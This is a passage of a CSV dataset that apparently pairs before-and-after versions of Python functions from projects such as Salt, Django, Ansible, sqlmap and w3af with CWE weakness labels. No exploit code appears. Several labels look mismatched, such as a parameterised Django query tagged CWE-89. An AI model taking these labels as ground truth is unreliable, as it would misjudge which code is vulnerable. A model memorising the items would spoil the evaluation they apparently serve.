self.assertFalse(subnet_association)",CWE-605,saltstack/salt,656817141c10899cc1243128807b2b4cbe736264,"def test_get_subnet_association_multiple_subnets_different_vpc(self):
'''
tests that given multiple subnet ids in different VPCs that False is
returned.
'''
vpc_a = self._create_vpc()
vpc_b = self.conn.create_vpc(cidr_block)
subnet_a = self._create_subnet(vpc_a.id, '10.0.0.0/24')
subnet_b = self._create_subnet(vpc_b.id, '10.0.0.0/24')
subnet_assocation = boto_vpc.get_subnet_association([subnet_a.id, subnet_b.id],
**conn_parameters)
self.assertFalse(subnet_assocation)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/cloud/clouds/test_vultrpy.py,0,"def test_list_sizes(self):
""""""
Tests the return of running the --list-sizes command for Vultr
""""""
size_list = self.run_cloud(""--list-sizes {}"".format(self.PROVIDER))
self.assertIn(
""2048 MB RAM,55 GB SSD,2.00 TB BW"", [i.strip() for i in size_list]
)",,saltstack/salt,12080ba5c9528c8bcb1d0210004dee22f15884d3,"def test_list_sizes(self):
""""""
Tests the return of running the --list-sizes command for Vultr
""""""
size_list = self.run_cloud(""--list-sizes {}"".format(self.PROVIDER))
self.assertIn(
""2048 MB RAM,64 GB SSD,2.00 TB BW"", [i.strip() for i in size_list]
)"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_constraints(self, cursor, table_name):
""""""
Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
""""""
constraints = {}
# Loop over the constraints, getting PKs, uniques, and checks
cursor.execute(""""""
SELECT
user_constraints.constraint_name,
LOWER(cols.column_name) AS column_name,
CASE user_constraints.constraint_type
WHEN 'P' THEN 1
ELSE 0
END AS is_primary_key,
CASE
WHEN EXISTS (
SELECT 1
FROM user_indexes
WHERE user_indexes.index_name = user_constraints.index_name
AND user_indexes.uniqueness = 'UNIQUE'
)
THEN 1
ELSE 0
END AS is_unique,
CASE user_constraints.constraint_type
WHEN 'C' THEN 1
ELSE 0
END AS is_check_constraint,
CASE
WHEN user_constraints.constraint_type IN ('P', 'U') THEN 1
ELSE 0
END AS has_index
FROM
user_constraints
LEFT OUTER JOIN
user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
WHERE
user_constraints.constraint_type = ANY('P', 'U', 'C')
AND user_constraints.table_name = UPPER(%s)
ORDER BY cols.position
"""""", [table_name])
for constraint, column, pk, unique, check, index in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""primary_key"": pk,
""unique"": unique,
""foreign_key"": None,
""check"": check,
""index"": index, # All P and U come with index
}
# Record the details
constraints[constraint]['columns'].append(column)
# Foreign key constraints
cursor.execute(""""""
SELECT
cons.constraint_name,
LOWER(cols.column_name) AS column_name,
LOWER(rcons.table_name),
LOWER(rcols.column_name)
FROM
user_constraints cons
INNER JOIN
user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name
INNER JOIN
user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name
LEFT OUTER JOIN
user_cons_columns cols ON cons.constraint_name = cols.constraint_name
WHERE
cons.constraint_type = 'R' AND
cons.table_name = UPPER(%s)
ORDER BY cols.position
"""""", [table_name])
for constraint, column, other_table, other_column in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""primary_key"": False,
""unique"": False,
""foreign_key"": (other_table, other_column),
""check"": False,
""index"": False,
}
# Record the details
constraints[constraint]['columns'].append(column)
# Now get indexes
cursor.execute(""""""
SELECT
cols.index_name, LOWER(cols.column_name), cols.descend,
LOWER(ind.index_type)
FROM
user_ind_columns cols, user_indexes ind
WHERE
cols.table_name = UPPER(%s) AND
NOT EXISTS (
SELECT 1
FROM user_constraints cons
WHERE cols.index_name = cons.index_name
) AND cols.index_name = ind.index_name
ORDER BY cols.column_position
"""""", [table_name])
for constraint, column, order, type_ in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""orders"": [],
""primary_key"": False,
""unique"": False,
""foreign_key"": None,
""check"": False,
""index"": True,
""type"": 'btree' if type_ == 'normal' else type_,
}
# Record the details
constraints[constraint]['columns'].append(column)
constraints[constraint]['orders'].append(order)
return constraints",CWE-89,django/django,5a772a0b7bf71128287396d310ddd3db13625a1f,"def get_constraints(self, cursor, table_name):
""""""
Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
""""""
constraints = {}
# Loop over the constraints, getting PKs and uniques
cursor.execute(""""""
SELECT
user_constraints.constraint_name,
LOWER(cols.column_name) AS column_name,
CASE user_constraints.constraint_type
WHEN 'P' THEN 1
ELSE 0
END AS is_primary_key,
CASE user_indexes.uniqueness
WHEN 'UNIQUE' THEN 1
ELSE 0
END AS is_unique,
CASE user_constraints.constraint_type
WHEN 'C' THEN 1
ELSE 0
END AS is_check_constraint
FROM
user_constraints
INNER JOIN
user_indexes ON user_indexes.index_name = user_constraints.index_name
LEFT OUTER JOIN
user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
WHERE
(
user_constraints.constraint_type = 'P' OR
user_constraints.constraint_type = 'U'
)
AND user_constraints.table_name = UPPER(%s)
ORDER BY cols.position
"""""", [table_name])
for constraint, column, pk, unique, check in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""primary_key"": pk,
""unique"": unique,
""foreign_key"": None,
""check"": check,
""index"": True, # All P and U come with index, see inner join above
}
# Record the details
constraints[constraint]['columns'].append(column)
# Check constraints
cursor.execute(""""""
SELECT
cons.constraint_name,
LOWER(cols.column_name) AS column_name
FROM
user_constraints cons
LEFT OUTER JOIN
user_cons_columns cols ON cons.constraint_name = cols.constraint_name
WHERE
cons.constraint_type = 'C' AND
cons.table_name = UPPER(%s)
ORDER BY cols.position
"""""", [table_name])
for constraint, column in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""primary_key"": False,
""unique"": False,
""foreign_key"": None,
""check"": True,
""index"": False,
}
# Record the details
constraints[constraint]['columns'].append(column)
# Foreign key constraints
cursor.execute(""""""
SELECT
cons.constraint_name,
LOWER(cols.column_name) AS column_name,
LOWER(rcons.table_name),
LOWER(rcols.column_name)
FROM
user_constraints cons
INNER JOIN
user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name
INNER JOIN
user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name
LEFT OUTER JOIN
user_cons_columns cols ON cons.constraint_name = cols.constraint_name
WHERE
cons.constraint_type = 'R' AND
cons.table_name = UPPER(%s)
ORDER BY cols.position
"""""", [table_name])
for constraint, column, other_table, other_column in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""primary_key"": False,
""unique"": False,
""foreign_key"": (other_table, other_column),
""check"": False,
""index"": False,
}
# Record the details
constraints[constraint]['columns'].append(column)
# Now get indexes
cursor.execute(""""""
SELECT
cols.index_name, LOWER(cols.column_name), cols.descend,
LOWER(ind.index_type)
FROM
user_ind_columns cols, user_indexes ind
WHERE
cols.table_name = UPPER(%s) AND
NOT EXISTS (
SELECT 1
FROM user_constraints cons
WHERE cols.index_name = cons.index_name
) AND cols.index_name = ind.index_name
ORDER BY cols.column_position
"""""", [table_name])
for constraint, column, order, type_ in cursor.fetchall():
# If we're the first column, make the record
if constraint not in constraints:
constraints[constraint] = {
""columns"": [],
""orders"": [],
""primary_key"": False,
""unique"": False,
""foreign_key"": None,
""check"": False,
""index"": True,
""type"": 'btree' if type_ == 'normal' else type_,
}
# Record the details
constraints[constraint]['columns'].append(column)
constraints[constraint]['orders'].append(order)
return constraints"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/web_infrastructure/ansible_tower/tower_job_template.py,0,"def update_fields(p):
'''This updates the module field names
to match the field names tower-cli expects to make
calling of the modify/delete methods easier.
'''
params = p.copy()
field_map = {
'ask_extra_vars': 'ask_variables_on_launch',
'ask_limit' :'ask_limit_on_launch',
'ask_tags': 'ask_tags_on_launch',
'ask_job_type': 'ask_job_type_on_launch',
'machine_credential': 'credential',
}
params_update = {}
for old_k, new_k in field_map.items():
v = params.pop(old_k)
params_update[new_k] = v
extra_vars = params.get('extra_vars_path')
if extra_vars is not None:
params_update['extra_vars'] = ['@' + extra_vars]
params.update(params_update)
return params",,ansible/ansible,a09fbb4b15ac1933a8f26e479e15ab8358a8a5b2,"def update_fields(p):
'''This updates the module field names
to match the field names tower-cli expects to make
calling of the modify/delete methods easier.
'''
params = p.copy()
field_map = {
'ask_extra_vars': 'ask_variables_on_launch',
'ask_limit' :'ask_limit_on_launch',
'ask_tags': 'ask_tags_on_launch',
'ask_job_type': 'ask_job_type_on_launch',
'machine_credential': 'credential',
}
params_update = {}
for old_k, new_k in field_map.items():
v = params.pop(old_k)
params_update[new_k] = v
extra_vars = params.get('extra_vars_path')
if extra_vars is not None:
params_update['extra_vars'] = '@' + extra_vars
params.update(params_update)
return params"
,UNKNOWN,UNKNOWN,salt/modules/mine.py,1,"def get_docker(interfaces=None, cidrs=None):
'''
Get all mine data for 'docker.get_containers' and run an aggregation
routine. The ""interfaces"" parameter allows for specifying which network
interfaces to select ip addresses from. The ""cidrs"" parameter allows for
specifying a list of cidrs which the ip address must match.
CLI Example:
.. code-block:: bash
salt '*' mine.get_docker
salt '*' mine.get_docker interfaces='eth0'
salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]'
salt '*' mine.get_docker cidrs='107.170.147.0/24'
salt '*' mine.get_docker cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]' cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
'''
# Enforce that interface and cidr are lists
if interfaces:
interface_ = []
interface_.extend(interfaces if isinstance(interfaces, list) else [interfaces])
interfaces = interface_
if cidrs:
cidr_ = []
cidr_.extend(cidrs if isinstance(cidrs, list) else [cidrs])
cidrs = cidr_
# Get docker info
cmd = 'docker.get_containers'
docker_hosts = get('*', cmd)
proxy_lists = {}
# Process docker info
for host, containers in docker_hosts.items():
host_ips = []
# Prepare host_ips list
if not interfaces:
for iface, info in containers['host']['interfaces'].items():
if 'inet' in info:
for ip_ in info['inet']:
host_ips.append(ip_['address'])
else:
for interface in interfaces:
if interface in containers['host']['interfaces']:
for item in containers['host']['interfaces'][interface]['inet']:
host_ips.append(item['address'])
host_ips = list(set(host_ips))
# Filter out ips from host_ips with cidrs
if cidrs:
good_ips = []
for cidr in cidrs:
for ip_ in host_ips:
if salt.utils.network.in_subnet(cidr, [ip_]):
good_ips.append(ip_)
host_ips = list(set(good_ips))
# Process each container
if containers['out']:
for container in containers['out']:
if container['Image'] not in proxy_lists:
proxy_lists[container['Image']] = {}
for dock_port in container['Ports']:
# If port is 0.0.0.0, then we must get the docker host IP
if dock_port['IP'] == '0.0.0.0':
for ip_ in host_ips:
proxy_lists[container['Image']].setdefault('ipv4', {}).setdefault(dock_port['PrivatePort'], []).append(
'{0}:{1}'.format(ip_, dock_port['PublicPort']))
proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']] = list(set(proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']]))
elif dock_port['IP']:
proxy_lists[container['Image']].setdefault('ipv4', {}).setdefault(dock_port['PrivatePort'], []).append(
'{0}:{1}'.format(dock_port['IP'], dock_port['PublicPort']))
proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']] = list(set(proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']]))
return proxy_lists",CWE-605,saltstack/salt,c84a2ccacdf62bc89b9cd75486ee03e7e485990d,"def get_docker(interfaces=None, cidrs=None):
'''
Get all mine data for 'docker.get_containers' and run an aggregation
routine. The ""interfaces"" parameter allows for specifying which network
interfaces to select ip addresses from. The ""cidrs"" parameter allows for
specifying a list of cidrs which the ip address must match.
CLI Example:
.. code-block:: bash
salt '*' mine.get_docker
salt '*' mine.get_docker interfaces='eth0'
salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]'
salt '*' mine.get_docker cidrs='107.170.147.0/24'
salt '*' mine.get_docker cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]' cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
'''
# Enforce that interface and cidr are lists
if interfaces:
interface_ = []
interface_.extend(interfaces if isinstance(interfaces, list) else [interfaces])
interfaces = interface_
if cidrs:
cidr_ = []
cidr_.extend(cidrs if isinstance(cidrs, list) else [cidrs])
cidrs = cidr_
# Get docker info
cmd = 'docker.get_containers'
docker_hosts = get('*', cmd)
proxy_lists = {}
# Process docker info
for host, containers in docker_hosts.items():
host_ips = []
# Prepare host_ips list
if not interfaces:
for iface, info in containers['host']['interfaces'].items():
if 'inet' in info:
for ip_ in info['inet']:
host_ips.append(ip_['address'])
else:
for interface in interfaces:
if interface in containers['host']['interfaces']:
for item in containers['host']['interfaces'][interface]['inet']:
host_ips.append(item['address'])
host_ips = list(set(host_ips))
# Filter out ips from host_ips with cidrs
if cidrs:
good_ips = []
for cidr in cidrs:
for ip_ in host_ips:
if salt.utils.network.in_subnet(cidr, [ip_]):
good_ips.append(ip_)
host_ips = list(set(good_ips))
# Process each container
if containers['out']:
for container in containers['out']:
if container['Image'] not in proxy_lists:
proxy_lists[container['Image']] = {}
for dock_port in container['Ports']:
# If port is 0.0.0.0, then we must get the docker host IP
if dock_port['IP'] == '0.0.0.0':
for ip_ in host_ips:
proxy_lists[container['Image']].setdefault('ipv4', []).append(
'{0}:{1}'.format(ip_, dock_port['PublicPort']))
proxy_lists[container['Image']]['ipv4'] = list(set(proxy_lists[container['Image']]['ipv4']))
elif dock_port['IP']:
proxy_lists[container['Image']].setdefault('ipv4', []).append(
'{0}:{1}'.format(dock_port['IP'], dock_port['PublicPort']))
proxy_lists[container['Image']]['ipv4'] = list(set(proxy_lists[container['Image']]['ipv4']))
return proxy_lists"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_vcmp_guest.py,0,"def __init__(self):
self.supports_check_mode = True
self.argument_spec = dict(
name=dict(required=True),
vlans=dict(type='list'),
mgmt_network=dict(choices=['bridged', 'isolated', 'host only']),
mgmt_address=dict(),
mgmt_route=dict(),
initial_image=dict(),
state=dict(
default='present',
choices=['configured', 'disabled', 'provisioned', 'absent', 'present']
),
delete_virtual_disk=dict(
type='bool', default='no'
),
cores_per_slot=dict(type='int')
)
self.f5_product_name = 'bigip'
self.required_if = [
['mgmt_network', 'bridged', ['mgmt_address']]
]",,ansible/ansible,b40c779e46071001ac3c419901b4e7539bc8ed09,"def __init__(self):
self.supports_check_mode = True
self.argument_spec = dict(
name=dict(required=True),
vlans=dict(type='list'),
mgmt_network=dict(choices=['bridged', 'isolated', 'host only']),
mgmt_address=dict(),
mgmt_route=dict(),
initial_image=dict(),
state=dict(
default='present',
choices=['configured', 'disabled', 'provisioned', 'absent', 'present']
),
delete_virtual_disk=dict(
type='bool', default='no'
),
cores_per_slot=dict(type='int')
)
self.f5_product_name = 'bigip'
self.required_if = [
['mgmt_network', 'bridged', ['mgmt_address']]
]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/transport/zeromq.py,0,"def crypted_transfer_decode_dictentry(
self, load, dictkey=None, tries=3, timeout=60
):
nonce = uuid.uuid4().hex
load[""nonce""] = nonce
if not self.auth.authenticated:
# Return control back to the caller, continue when authentication succeeds
yield self.auth.authenticate()
# Return control to the caller. When send() completes, resume by
# populating ret with the Future.result
ret = yield self.message_client.send(
self._package_load(self.auth.crypticle.dumps(load)),
timeout=timeout,
tries=tries,
)
if ""key"" not in ret:
# Reauth in the case our key is deleted on the master side.
yield self.auth.authenticate()
ret = yield self.message_client.send(
self._package_load(self.auth.crypticle.dumps(load)),
timeout=timeout,
tries=tries,
)
key = self.auth.get_keys()
if HAS_M2:
aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
else:
cipher = PKCS1_OAEP.new(key)
aes = cipher.decrypt(ret[""key""])
# Decrypt using the public key.
pcrypt = salt.crypt.Crypticle(self.opts, aes)
signed_msg = pcrypt.loads(ret[dictkey])
# Validate the master's signature.
master_pubkey_path = os.path.join(self.opts[""pki_dir""], self.auth.mpub)
if not salt.crypt.verify_signature(
master_pubkey_path, signed_msg[""data""], signed_msg[""sig""]
):
raise salt.crypt.AuthenticationError(
""Pillar payload signature failed to validate.""
)
# Make sure the signed key matches the key we used to decrypt the data.
data = salt.payload.Serial({}).loads(signed_msg[""data""])
if data[""key""] != ret[""key""]:
raise salt.crypt.AuthenticationError(""Key verification failed."")
# Validate the nonce.
if data[""nonce""] != nonce:
raise salt.crypt.AuthenticationError(""Pillar nonce verification failed."")
raise salt.ext.tornado.gen.Return(data[""pillar""])",,saltstack/salt,a2f489233926dc36efa889b71d15c68e9944c120,"def crypted_transfer_decode_dictentry(
self, load, dictkey=None, tries=3, timeout=60
):
nonce = uuid.uuid4().hex
load[""nonce""] = nonce
if not self.auth.authenticated:
# Return control back to the caller, continue when authentication succeeds
yield self.auth.authenticate()
# Return control to the caller. When send() completes, resume by
# populating ret with the Future.result
ret = yield self.message_client.send(
self._package_load(self.auth.crypticle.dumps(load)),
timeout=timeout,
tries=tries,
)
if ""key"" not in ret:
# Reauth in the case our key is deleted on the master side.
yield self.auth.authenticate()
ret = yield self.message_client.send(
self._package_load(self.auth.crypticle.dumps(load)),
timeout=timeout,
tries=tries,
)
key = self.auth.get_keys()
if HAS_M2:
aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
else:
cipher = PKCS1_OAEP.new(key)
aes = cipher.decrypt(ret[""key""])
# Decrypt using the public key.
pcrypt = salt.crypt.Crypticle(self.opts, aes)
signed_msg = pcrypt.loads(ret[dictkey])
# Validate the master's signature.
master_pubkey_path = os.path.join(self.opts[""pki_dir""], ""minion_master.pub"")
if not salt.crypt.verify_signature(
master_pubkey_path, signed_msg[""data""], signed_msg[""sig""]
):
raise salt.crypt.AuthenticationError(
""Pillar payload signature failed to validate.""
)
# Make sure the signed key matches the key we used to decrypt the data.
data = salt.payload.Serial({}).loads(signed_msg[""data""])
if data[""key""] != ret[""key""]:
raise salt.crypt.AuthenticationError(""Key verification failed."")
# Validate the nonce.
if data[""nonce""] != nonce:
raise salt.crypt.AuthenticationError(""Pillar nonce verification failed."")
raise salt.ext.tornado.gen.Return(data[""pillar""])"
,UNKNOWN,UNKNOWN,lib/request/httpshandler.py,1,"def connect(self):
def create_sock():
sock = socket.create_connection((self.host, self.port), self.timeout)
if getattr(self, ""_tunnel_host"", None):
self.sock = sock
self._tunnel()
return sock
success = False
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, ""SSLContext""):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
try:
sock = create_sock()
context = ssl.SSLContext(protocol)
_ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
if _:
success = True
self.sock = _
_protocols.remove(protocol)
_protocols.insert(0, protocol)
break
else:
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))
if kb.tlsSNI.get(self.host) is None:
kb.tlsSNI[self.host] = success
if not success:
for protocol in _protocols:
try:
sock = create_sock()
_ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
if _:
success = True
self.sock = _
_protocols.remove(protocol)
_protocols.insert(0, protocol)
break
else:
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))
if not success:
errMsg = ""can't establish SSL connection""
# Reference: https://docs.python.org/2/library/ssl.html
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
errMsg += "" (please retry with Python >= 2.7.9)""
raise SqlmapConnectionException(errMsg)",CWE-327,sqlmapproject/sqlmap,45a2d2a83fb8335cb7177cca2dd5c524e660aab3,"def connect(self):
def create_sock():
sock = socket.create_connection((self.host, self.port), self.timeout)
if getattr(self, ""_tunnel_host"", None):
self.sock = sock
self._tunnel()
return sock
success = False
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, ""SSLContext""):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
try:
sock = create_sock()
context = ssl.SSLContext(protocol)
_ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
if _:
success = True
self.sock = _
_protocols.remove(protocol)
_protocols.insert(0, protocol)
break
else:
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))
if kb.tlsSNI.get(self.host) is None:
kb.tlsSNI[self.host] = success
if not success:
for protocol in _protocols:
try:
sock = create_sock()
_ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
if _:
success = True
self.sock = _
_protocols.remove(protocol)
_protocols.insert(0, protocol)
break
else:
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))
if not success:
errMsg = ""can't establish SSL connection""
# Reference: https://docs.python.org/2/library/ssl.html
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
errMsg += "" (please retry with Python >= 2.7.9)""
raise SqlmapConnectionException(errMsg)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def get(self):
self.set_status(401)
self.set_header('WWW-Authenticate', 'Basic realm=""something""')
if self.get_argument('finish_value', ''):
raise Finish('authentication required')
else:
self.write('authentication required')
raise Finish()",CWE-Unknown,tornadoweb/tornado,5390ea3da16a7f1cc1f9e71d65fb955cb333e8ac,"def get(self):
self.set_status(401)
self.set_header('WWW-Authenticate', 'Basic realm=""something""')
self.write('authentication required')
raise Finish()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def parseResponse(page, headers):
""""""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
""""""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( r"" in (?P.*?) on line"", r""\b(?P[A-Za-z]:([\\/][\w.\\/]*)?)"", r""(\A|[^<])(?P/[/\w.]+)"" )
for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group(""result"").strip()
page = page.replace(absFilePath, """")
if re.search(""\A[A-Za-z]:"", absFilePath):
absFilePath = absFilePath.replace(""/"", ""\\"")
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)",,andresriancho/w3af,ea045eaa2fb62b505856fa6fc9b383740b4ad233,"def parseResponse(page, headers):
""""""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
""""""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( r"" in (?P.*?) on line"", r""\b(?P[A-Za-z]:([\\/][\w.\\/]*)?)"", r""(\A|[^<])(?P/[/\w.]+)"" )
for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group(""result"").strip()
page = page.replace(absFilePath, """")
if re.search(""\A[A-Za-z]:"", absFilePath):
absFilePath = absFilePath.replace(""/"", ""\\"")
if absFilePath not in kb.absFilePaths:
dirname = directoryPath(absFilePath)
kb.absFilePaths.add(dirname)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/blindSqli.py,0,"def audit(self, freq ):
'''
Tests an URL for blind Sql injection vulnerabilities.
@param freq: A fuzzableRequest
'''
om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() )
for parameter in freq.getDc():
# Try to identify the vulnerabilities using response string differences
self._bsqli_response_diff.setUrlOpener( self._urlOpener )
self._bsqli_response_diff.setEqualLimit( self._equalLimit )
self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm )
# FIXME: what about repeated parameter names?
response_diff = self._bsqli_response_diff.is_injectable( freq, parameter )
# And I also check for Blind SQL Injections using time delays
self._blind_sqli_time_delay.setUrlOpener( self._urlOpener )
time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter )
if response_diff != None:
om.out.vulnerability( response_diff.getDesc() )
kb.kb.append(self, 'blindSqli', response_diff)
elif time_delay != None:
om.out.vulnerability( time_delay.getDesc() )
kb.kb.append(self, 'blindSqli', time_delay)",,andresriancho/w3af,97546efc8f291d6892b0644545531d68278aa359,"def audit(self, freq ):
'''
Tests an URL for blind Sql injection vulnerabilities.
@param freq: A fuzzableRequest
'''
om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() )
for parameter in freq.getDc():
# Try to identify the vulnerabilities using response string differences
self._bsqli_response_diff.setUrlOpener( self._urlOpener )
self._bsqli_response_diff.setEqualLimit( self._equalLimit )
self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm )
# FIXME: what about repeated parameter names?
response_diff = self._bsqli_response_diff.is_injectable( freq, parameter )
# And I also check for Blind SQL Injections using time delays
self._blind_sqli_time_delay.setUrlOpener( self._urlOpener )
time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter )
if (response_diff != None and time_delay != None) or response_diff != None:
om.out.vulnerability( response_diff.getDesc() )
kb.kb.append(self, 'blindSqli', response_diff)
elif time_delay != None:
om.out.vulnerability( time_delay.getDesc() )
kb.kb.append(self, 'blindSqli', time_delay)"
,UNKNOWN,UNKNOWN,tests/integration/modules/test_win_pkg.py,1,"def test_adding_removing_pkg_sls(self):
'''
Test add and removing a new pkg sls
in the windows software repository
'''
def _check_pkg(pkgs, exists=True):
self.run_function('pkg.refresh_db')
repo_data = self.run_function('pkg.get_repo_data', timeout=300)
repo_cache = os.path.join(RUNTIME_VARS.TMP, 'rootdir', 'cache', 'files', 'base', 'win', 'repo-ng')
for pkg in pkgs:
if exists:
assert pkg in str(repo_data), str(repo_data)
else:
assert pkg not in str(repo_data), str(repo_data)
for root, dirs, files in os.walk(repo_cache):
if exists:
assert pkg + '.sls' in files
else:
assert pkg + '.sls' not in files
pkgs = ['putty', '7zip']
# check putty and 7zip are in cache and repo query
_check_pkg(pkgs)
# now add new sls
with salt.utils.files.fopen(CURL, 'w') as fp_:
fp_.write(textwrap.dedent('''
curl:
'7.46.0':
full_name: 'cURL'
{% if grains['cpuarch'] == 'AMD64' %}
installer: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
{% else %}
installer: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
{% endif %}
install_flags: '/qn /norestart'
uninstall_flags: '/qn /norestart'
msiexec: True
locale: en_US
reboot: False
'''))
# now check if curl is also in cache and repo query
pkgs.append('curl')
_check_pkg(pkgs)
# remove curl sls and check its not in cache and repo query
os.remove(CURL)
_check_pkg(['curl'], exists=False)",CWE-703,saltstack/salt,269bde208541d7393108070d0f03f6796ba5ae93,"def test_adding_removing_pkg_sls(self):
'''
Test add and removing a new pkg sls
in the windows software repository
'''
def _check_pkg(pkgs, exists=True):
self.run_function('pkg.refresh_db')
repo_data = self.run_function('pkg.get_repo_data')
repo_cache = os.path.join(RUNTIME_VARS.TMP, 'rootdir', 'cache', 'files', 'base', 'win', 'repo-ng')
for pkg in pkgs:
if exists:
assert pkg in str(repo_data)
else:
assert pkg not in str(repo_data)
for root, dirs, files in os.walk(repo_cache):
if exists:
assert pkg + '.sls' in files
else:
assert pkg + '.sls' not in files
pkgs = ['putty', '7zip']
# check putty and 7zip are in cache and repo query
_check_pkg(pkgs)
# now add new sls
with salt.utils.files.fopen(CURL, 'w') as fp_:
fp_.write(textwrap.dedent('''
curl:
'7.46.0':
full_name: 'cURL'
{% if grains['cpuarch'] == 'AMD64' %}
installer: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
{% else %}
installer: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
{% endif %}
install_flags: '/qn /norestart'
uninstall_flags: '/qn /norestart'
msiexec: True
locale: en_US
reboot: False
'''))
# now check if curl is also in cache and repo query
pkgs.append('curl')
_check_pkg(pkgs)
# remove curl sls and check its not in cache and repo query
os.remove(CURL)
